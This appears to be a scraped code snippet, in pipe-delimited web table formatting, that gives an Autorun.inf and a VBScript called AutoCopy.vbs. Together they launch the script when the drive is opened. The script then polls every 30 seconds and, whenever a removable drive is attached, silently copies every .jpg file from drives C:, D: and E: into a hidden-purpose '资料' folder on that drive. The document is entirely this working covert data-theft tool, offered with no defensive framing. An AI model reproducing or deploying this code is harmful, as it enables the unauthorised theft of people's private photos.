Autorun.inf | [autorun] | | open=wscript.exe AutoCopy.vbs | | shell\open=打开(&O) | | shell\open\command=wscript.exe AutoCopy.vbssCOPY |
| | | Dim fso,Disks,Disk,JpgPath | | Set fso = CreateObject("Scripting.FileSystemObject") | | Do | | n = n+1 | | Set Disks = fso.Drives | | For Each Disk In Disks | | If Disk.IsReady And Disk.DriveType = 1 Then | | JpgPath = Disk.DriveLetter & ":\资料\" | | U = True | | End if | | Next | | If U = True Then | | CopyJpgs("C:\") | | CopyJpgs("D:\") | | CopyJpgs("E:\") | | Else | | If n=1 Then | | WScript.Quit | | End if | | End If | | WScript.Sleep 30000 | | Loop | | | | Sub CopyJpgs(path) | | Dim folder,subfolders,Files | | Set folder = fso.getfolder(path) | | Set subfolders = folder.subfolders | | Set Files = folder.Files | | For Each File In Files | | If fso.GetExtensionName(File.path)="jpg" Then | | fso.CopyFile File.Path,JpgPath,True | | End if | | Next | | For Each subfolder In subfolders | | CopyJpgs(subfolder.path) | | Next | | End SubCOPY |
|